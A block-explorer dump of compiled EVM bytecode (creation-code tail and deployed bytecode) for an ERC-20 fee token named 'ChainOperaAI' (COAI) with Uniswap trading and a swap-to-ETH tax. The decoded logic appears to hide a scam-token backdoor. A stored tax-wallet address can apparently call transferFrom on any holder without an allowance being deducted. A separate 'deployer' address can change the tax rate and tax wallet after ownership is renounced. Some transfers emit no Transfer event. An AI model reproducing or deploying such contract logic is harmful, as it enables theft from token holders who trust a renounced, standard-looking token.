ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bd6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bfa9190612468565b81600181518110611c0e57611c0d612a93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c743060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e78565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cd6959493929190612b77565b5f604051808303815f87803b158015611ced575f80fd5b505af1158015611cff573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b5f808284611d2f9190612bcf565b905083811015611d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6b90612c4c565b60405180910390fd5b8091505092915050565b5f611dbf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611994565b905092915050565b5f8083118290611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e049190611e98565b60405180910390fd5b505f8385611e1b91906129a8565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e6a82611e28565b611e748185611e32565b9350611e84818560208601611e42565b611e8d81611e50565b840191505092915050565b5f6020820190508181035f830152611eb08184611e60565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ee582611ebc565b9050919050565b611ef581611edb565b8114611eff575f80fd5b50565b5f81359050611f1081611eec565b92915050565b5f819050919050565b611f2881611f16565b8114611f32575f80fd5b50565b5f81359050611f4381611f1f565b92915050565b5f8060408385031215611f5f57611f5e611eb8565b5b5f611f6c85828601611f02565b9250506020611f7d85828601611f35565b9150509250929050565b5f8115159050919050565b611f9b81611f87565b82525050565b5f602082019050611fb45f830184611f92565b92915050565b611fc381611f16565b82525050565b5f602082019050611fdc5f830184611fba565b92915050565b5f805f60608486031215611ff957611ff8611eb8565b5b5f61200686828701611f02565b935050602061201786828701611f02565b925050604061202886828701611f35565b9150509250925092565b5f60ff82169050919050565b61204781612032565b82525050565b5f6020820190506120605f83018461203e565b92915050565b5f806040838503121561207c5761207b611eb8565b5b5f61208985828601611f35565b925050602061209a85828601611f02565b9150509250929050565b5f602082840312156120b9576120b8611eb8565b5b5f6120c684828501611f02565b91505092915050565b6120d881611edb565b82525050565b5f6020820190506120f15f8301846120cf565b92915050565b5f806040838503121561210d5761210c611eb8565b5b5f61211a85828601611f02565b925050602061212b85828601611f02565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156121b75780860481111561219357612192612135565b5b60018516156121a25780820291505b80810290506121b085612162565b9450612177565b94509492505050565b5f826121cf576001905061228a565b816121dc575f905061228a565b81600181146121f257600281146121fc5761222b565b600191505061228a565b60ff84111561220e5761220d612135565b5b8360020a91508482111561222557612224612135565b5b5061228a565b5060208310610133831016604e8410600b84101617156122605782820a90508381111561225b5761225a612135565b5b61228a565b61226d848484600161216e565b9250905081840481111561228457612283612135565b5b81810290505b9392505050565b5f61229b82611f16565b91506122a683612032565b92506122d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121c0565b905092915050565b5f6122e582611f16565b91506122f083611f16565b92508282026122fe81611f16565b9150828204841483151761231557612314612135565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612350602083611e32565b915061235b8261231c565b602082019050919050565b5f6020820190508181035f83015261237d81612344565b9050919050565b7f6e6f742061206465706c6f7965720000000000000000000000000000000000005f82015250565b5f6123b8600e83611e32565b91506123c382612384565b602082019050919050565b5f6020820190508181035f8301526123e5816123ac565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612420601783611e32565b915061242b826123ec565b602082019050919050565b5f6020820190508181035f83015261244d81612414565b9050919050565b5f8151905061246281611eec565b92915050565b5f6020828403121561247d5761247c611eb8565b5b5f61248a84828501612454565b91505092915050565b5f6040820190506124a65f8301856120cf565b6124b360208301846120cf565b9392505050565b5f819050919050565b5f819050919050565b5f6124e66124e16124dc846124ba565b6124c3565b611f16565b9050919050565b6124f6816124cc565b82525050565b5f60c08201905061250f5f8301896120cf565b61251c6020830188611fba565b61252960408301876124ed565b61253660608301866124ed565b61254360808301856120cf565b61255060a0830184611fba565b979650505050505050565b5f8151905061256981611f1f565b92915050565b5f805f6060848603121561258657612585611eb8565b5b5f6125938682870161255b565b93505060206125a48682870161255b565b92505060406125b58682870161255b565b9150509250925092565b5f6040820190506125d25f8301856120cf565b6125df6020830184611fba565b9392505050565b6125ef81611f87565b81146125f9575f80fd5b50565b5f8151905061260a816125e6565b92915050565b5f6020828403121561262557612624611eb8565b5b5f612632848285016125fc565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612695602483611e32565b91506126a08261263b565b604082019050919050565b5f6020820190508181035f8301526126c281612689565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612723602283611e32565b915061272e826126c9565b604082019050919050565b5f6020820190508181035f83015261275081612717565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6127b1602583611e32565b91506127bc82612757565b604082019050919050565b5f6020820190508181035f8301526127de816127a5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61283f602383611e32565b915061284a826127e5565b604082019050919050565b5f6020820190508181035f83015261286c81612833565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6128cd602983611e32565b91506128d882612873565b604082019050919050565b5f6020820190508181035f8301526128fa816128c1565b9050919050565b5f61290b82611f16565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361293d5761293c612135565b5b600182019050919050565b5f61295282611f16565b915061295d83611f16565b925082820390508181111561297557612974612135565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6129b282611f16565b91506129bd83611f16565b9250826129cd576129cc61297b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a32602183611e32565b9150612a3d826129d8565b604082019050919050565b5f6020820190508181035f830152612a5f81612a26565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612af281611edb565b82525050565b5f612b038383612ae9565b60208301905092915050565b5f602082019050919050565b5f612b2582612ac0565b612b2f8185612aca565b9350612b3a83612ada565b805f5b83811015612b6a578151612b518882612af8565b9750612b5c83612b0f565b925050600181019050612b3d565b5085935050505092915050565b5f60a082019050612b8a5f830188611fba565b612b9760208301876124ed565b8181036040830152612ba98186612b1b565b9050612bb860608301856120cf565b612bc56080830184611fba565b9695505050505050565b5f612bd982611f16565b9150612be483611f16565b9250828201905080821115612bfc57612bfb612135565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612c36601b83611e32565b9150612c4182612c02565b602082019050919050565b5f6020820190508181035f830152612c6381612c2a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f48042db367a459105cfa94bd7df04cf45639e1e662e4212bf9737066f5b40b364736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100eb575f3560e01c806370a0823111610089578063a9059cbb11610058578063a9059cbb146102d0578063bf474bed1461030c578063dd62ed3e14610336578063e5ba05d414610372576100f2565b806370a082311461022a578063715018a6146102665780638da5cb5b1461027c57806395d89b41146102a6576100f2565b806323b872dd116100c557806323b872dd146101865780633081ec9c146101c2578063313ce567146101d85780634ace42db14610202576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a610388565b6040516101179190611e98565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611f49565b6103c5565b6040516101539190611fa1565b60405180910390f35b348015610167575f80fd5b506101706103e2565b60405161017d9190611fc9565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611fe2565b610405565b6040516101b99190611fa1565b60405180910390f35b3480156101cd575f80fd5b506101d66104e8565b005b3480156101e3575f80fd5b506101ec6105c9565b6040516101f9919061204d565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190612066565b6105d1565b005b348015610235575f80fd5b50610250600480360381019061024b91906120a4565b6106b2565b60405161025d9190611fc9565b60405180910390f35b348015610271575f80fd5b5061027a6106f8565b005b348015610287575f80fd5b50610290610846565b60405161029d91906120de565b60405180910390f35b3480156102b1575f80fd5b506102ba61086d565b6040516102c79190611e98565b60405180910390f35b3480156102db575f80fd5b506102f660048036038101906102f19190611f49565b6108aa565b6040516103039190611fa1565b60405180910390f35b348015610317575f80fd5b506103206108c7565b60405161032d9190611fc9565b60405180910390f35b348015610341575f80fd5b5061035c600480360381019061035791906120f7565b6108cd565b6040516103699190611fc9565b60405180910390f35b34801561037d575f80fd5b5061038661094f565b005b60606040518060400160405280600c81526020017f436861696e4f7065726141490000000000000000000000000000000000000000815250905090565b5f6103d86103d1610e71565b8484610e78565b6001905092915050565b5f6009600a6103f19190612291565b633b9aca0061040091906122db565b905090565b5f61041184848461103b565b5f61041d85858561187d565b90506104dc8561042b610e71565b6104d784604051806060016040528060288152602001612c6b6028913960025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61048e610e71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119949092919063ffffffff16565b610e78565b60019150509392505050565b6104f0610e71565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461057c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057390612366565b60405180910390fd5b610584610e71565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156105c6573d5f803e3d5ffd5b50565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610611610e71565b73ffffffffffffffffffffffffffffffffffffffff1614610667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065e906123ce565b60405180910390fd5b81600a819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610700610e71565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078390612366565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f434f414900000000000000000000000000000000000000000000000000000000815250905090565b5f6108bd6108b6610e71565b848461103b565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610957610e71565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612366565b60405180910390fd5b601260149054906101000a900460ff1615610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a90612436565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610acf3060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610abb9190612291565b633b9aca00610aca91906122db565b610e78565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5d9190612468565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c079190612468565b6040518363ffffffff1660e01b8152600401610c24929190612493565b6020604051808303815f875af1158015610c40573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c649190612468565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ceb306106b2565b5f80610cf5610846565b426040518863ffffffff1660e01b8152600401610d17969594939291906124fc565b60606040518083038185885af1158015610d33573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d58919061256f565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610df89291906125bf565b6020604051808303815f875af1158015610e14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e389190612610565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd906126ab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4b90612739565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161102e9190611fc9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a0906127c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110e90612855565b60405180910390fd5b5f8111611159576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611150906128e3565b60405180910390fd5b5f611162610846565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111d057506111a0610846565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561120857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561124057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115785760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ee575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611341575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561139c576113826064611374600b54600e541161136157600754611365565b6009545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b9050600e5f81548092919061139690612901565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142f5761142c606461141e600c54600e541161140b5760085461140f565b600a545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b90505b5f611439306106b2565b9050601260159054906101000a900460ff161580156114a4575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114bc5750601260169054906101000a900460ff165b80156114cb5750600d54600e54115b1561157657600f54811115611503575f6010549050808210156114ec578190505b808410156114f8578390505b61150181611ab6565b505b5f4790505f81106115745760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611572573d5f803e3d5ffd5b505b505b505b5f811115611677576115d08160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d2190919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161166e9190611fc9565b60405180910390a35b6116c78260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7e90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061176a61171e8284611d7e90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d2190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611877578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118618486611d7e90919063ffffffff16565b60405161186e9190611fc9565b60405180910390a35b50505050565b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611926575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b611989575f61198b565b815b90509392505050565b5f8383111582906119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d29190611e98565b60405180910390fd5b505f83856119e99190612948565b9050809150509392505050565b5f808303611a06575f9050611a67565b5f8284611a1391906122db565b9050828482611a2291906129a8565b14611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990612a48565b60405180910390fd5b809150505b92915050565b5f611aae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc7565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aed57611aec612a66565b5b604051908082528060200260200182016040528015611b1b5781602001602082028036833780820191505090505b50905030815f81518110611b3257611b31612a93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bd6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bfa9190612468565b81600181518110611c0e57611c0d612a93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c743060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e78565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cd6959493929190612b77565b5f604051808303815f87803b158015611ced575f80fd5b505af1158015611cff573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b5f808284611d2f9190612bcf565b905083811015611d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6b90612c4c565b60405180910390fd5b8091505092915050565b5f611dbf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611994565b905092915050565b5f8083118290611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e049190611e98565b60405180910390fd5b505f8385611e1b91906129a8565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e6a82611e28565b611e748185611e32565b9350611e84818560208601611e42565b611e8d81611e50565b840191505092915050565b5f6020820190508181035f830152611eb08184611e60565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ee582611ebc565b9050919050565b611ef581611edb565b8114611eff575f80fd5b50565b5f81359050611f1081611eec565b92915050565b5f819050919050565b611f2881611f16565b8114611f32575f80fd5b50565b5f81359050611f4381611f1f565b92915050565b5f8060408385031215611f5f57611f5e611eb8565b5b5f611f6c85828601611f02565b9250506020611f7d85828601611f35565b9150509250929050565b5f8115159050919050565b611f9b81611f87565b82525050565b5f602082019050611fb45f830184611f92565b92915050565b611fc381611f16565b82525050565b5f602082019050611fdc5f830184611fba565b92915050565b5f805f60608486031215611ff957611ff8611eb8565b5b5f61200686828701611f02565b935050602061201786828701611f02565b925050604061202886828701611f35565b9150509250925092565b5f60ff82169050919050565b61204781612032565b82525050565b5f6020820190506120605f83018461203e565b92915050565b5f806040838503121561207c5761207b611eb8565b5b5f61208985828601611f35565b925050602061209a85828601611f02565b9150509250929050565b5f602082840312156120b9576120b8611eb8565b5b5f6120c684828501611f02565b91505092915050565b6120d881611edb565b82525050565b5f6020820190506120f15f8301846120cf565b92915050565b5f806040838503121561210d5761210c611eb8565b5b5f61211a85828601611f02565b925050602061212b85828601611f02565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156121b75780860481111561219357612192612135565b5b60018516156121a25780820291505b80810290506121b085612162565b9450612177565b94509492505050565b5f826121cf576001905061228a565b816121dc575f905061228a565b81600181146121f257600281146121fc5761222b565b600191505061228a565b60ff84111561220e5761220d612135565b5b8360020a91508482111561222557612224612135565b5b5061228a565b5060208310610133831016604e8410600b84101617156122605782820a90508381111561225b5761225a612135565b5b61228a565b61226d848484600161216e565b9250905081840481111561228457612283612135565b5b81810290505b9392505050565b5f61229b82611f16565b91506122a683612032565b92506122d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121c0565b905092915050565b5f6122e582611f16565b91506122f083611f16565b92508282026122fe81611f16565b9150828204841483151761231557612314612135565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612350602083611e32565b915061235b8261231c565b602082019050919050565b5f6020820190508181035f83015261237d81612344565b9050919050565b7f6e6f742061206465706c6f7965720000000000000000000000000000000000005f82015250565b5f6123b8600e83611e32565b91506123c382612384565b602082019050919050565b5f6020820190508181035f8301526123e5816123ac565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612420601783611e32565b915061242b826123ec565b602082019050919050565b5f6020820190508181035f83015261244d81612414565b9050919050565b5f8151905061246281611eec565b92915050565b5f6020828403121561247d5761247c611eb8565b5b5f61248a84828501612454565b91505092915050565b5f6040820190506124a65f8301856120cf565b6124b360208301846120cf565b9392505050565b5f819050919050565b5f819050919050565b5f6124e66124e16124dc846124ba565b6124c3565b611f16565b9050919050565b6124f6816124cc565b82525050565b5f60c08201905061250f5f8301896120cf565b61251c6020830188611fba565b61252960408301876124ed565b61253660608301866124ed565b61254360808301856120cf565b61255060a0830184611fba565b979650505050505050565b5f8151905061256981611f1f565b92915050565b5f805f6060848603121561258657612585611eb8565b5b5f6125938682870161255b565b93505060206125a48682870161255b565b92505060406125b58682870161255b565b9150509250925092565b5f6040820190506125d25f8301856120cf565b6125df6020830184611fba565b9392505050565b6125ef81611f87565b81146125f9575f80fd5b50565b5f8151905061260a816125e6565b92915050565b5f6020828403121561262557612624611eb8565b5b5f612632848285016125fc565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612695602483611e32565b91506126a08261263b565b604082019050919050565b5f6020820190508181035f8301526126c281612689565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612723602283611e32565b915061272e826126c9565b604082019050919050565b5f6020820190508181035f83015261275081612717565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6127b1602583611e32565b91506127bc82612757565b604082019050919050565b5f6020820190508181035f8301526127de816127a5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61283f602383611e32565b915061284a826127e5565b604082019050919050565b5f6020820190508181035f83015261286c81612833565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6128cd602983611e32565b91506128d882612873565b604082019050919050565b5f6020820190508181035f8301526128fa816128c1565b9050919050565b5f61290b82611f16565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361293d5761293c612135565b5b600182019050919050565b5f61295282611f16565b915061295d83611f16565b925082820390508181111561297557612974612135565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6129b282611f16565b91506129bd83611f16565b9250826129cd576129cc61297b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a32602183611e32565b9150612a3d826129d8565b604082019050919050565b5f6020820190508181035f830152612a5f81612a26565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612af281611edb565b82525050565b5f612b038383612ae9565b60208301905092915050565b5f602082019050919050565b5f612b2582612ac0565b612b2f8185612aca565b9350612b3a83612ada565b805f5b83811015612b6a578151612b518882612af8565b9750612b5c83612b0f565b925050600181019050612b3d565b5085935050505092915050565b5f60a082019050612b8a5f830188611fba565b612b9760208301876124ed565b8181036040830152612ba98186612b1b565b9050612bb860608301856120cf565b612bc56080830184611fba565b9695505050505050565b5f612bd982611f16565b9150612be483611f16565b9250828201905080821115612bfc57612bfb612135565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612c36601b83611e32565b9150612c4182612c02565b602082019050919050565b5f6020820190508181035f830152612c6381612c2a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f48042db367a459105cfa94bd7df04cf45639e1e662e4212bf9737066f5b40b364736f6c634300081a0033
Deployed Bytecode Sourcemap
